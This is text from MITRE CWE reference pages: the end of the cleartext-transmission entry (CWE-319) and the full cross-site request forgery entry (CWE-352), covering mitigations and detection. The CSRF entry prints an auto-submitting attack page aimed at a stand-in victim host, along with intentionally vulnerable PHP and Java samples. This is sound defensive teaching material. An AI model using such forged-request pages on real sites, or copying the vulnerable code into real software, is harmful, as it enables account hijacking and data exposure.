MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1207 Debug and Test Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design For hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Class: System on Chip (Undetermined Prevalence)

Test/Debug Hardware (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {
//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.


Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission of sensitive information in their OT products.


Example 3

A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.


Example 4

The following Azure CLI command lists the properties of a particular storage account:

(informative)
Example Language: Shell 
az storage account show -g {ResourceGroupName} -n {StorageAccountName}

The JSON result might be:

(bad code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": false,
"type": "Microsoft.Storage/storageAccounts"
}

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

(good code)
Example Language: Shell 
az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

(good code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": true,
"type": "Microsoft.Storage/storageAccounts"
}

Note: to enable secure transfer using Azure's Portal instead of the command line:

  1. Open the Create storage account pane in the Azure portal.
  2. In the Advanced page, select the Enable secure transfer checkbox.


+ Observed Examples
Reference Description
Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
Building Controller uses a protocol that transmits authentication credentials in plaintext.
Programmable Logic Controller (PLC) sends password in plaintext.
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 818 OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 858 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1148 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011) SER02-J Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 3-3 Req SR 4.1
ISA/IEC 62443 Part 4-2 Req CR 4.1B
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007. <http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Sections 3.1 and 3.10. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1309] Microsoft. "Require secure transfer to ensure secure connections". 2022-07-24. <https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer>. URL validated: 2023-01-24.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-01-24 Accellera IP Security Assurance (IPSA) Working Group Accellera Systems Initiative
Submitted original contents of CWE-1324 and reviewed its integration into this entry.
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated References
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-06-21 CWE Content Team MITRE
updated Detection_Factors, Relationships
2010-12-13 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns
2011-03-29 CWE Content Team MITRE
updated Potential_Mitigations
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-01-23 CWE Content Team MITRE
updated Abstraction
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Description, Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Transmission of Sensitive Information

CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID: 352 (Structure: Composite) Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
+ Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.
+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Application Data; Modify Application Data; DoS: Crash, Exit, or Restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note: Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Note: Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note: Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.
+ Composite Components
Nature Type ID Name
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
Requires BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 613 Insufficient Session Expiration
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 642 External Control of Critical State Data
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 1275 Sensitive Cookie with Improper SameSite Attribute
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(bad code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

profile.php contains the following code.

(bad code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request

// and update the information

update_profile();

function update_profile {

// read in the data from $POST and send an update

// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(attack code)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.


+ Observed Examples
Reference Description
Add user accounts via a URL in an img tag
Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 716 OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 814 OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 936 OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Other

Rationale:

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

Comments:

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel:

  • Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
  • Intermediary (as user) to server (as victim). The activation point is an internal channel.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007 A5 Exact Cross Site Request Forgery (CSRF)
WASC 9 Cross-site Request Forgery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[REF-329] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. <http://marc.info/?l=bugtraq&m=99263135911884&w=2>.
[REF-330] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". <http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>.
[REF-331] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. <https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>. URL validated: 2023-04-07.
